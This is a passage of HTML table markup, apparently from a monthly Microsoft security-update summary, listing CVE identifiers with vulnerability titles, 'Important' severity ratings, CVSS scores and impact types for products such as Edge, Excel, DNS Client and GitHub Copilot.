  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
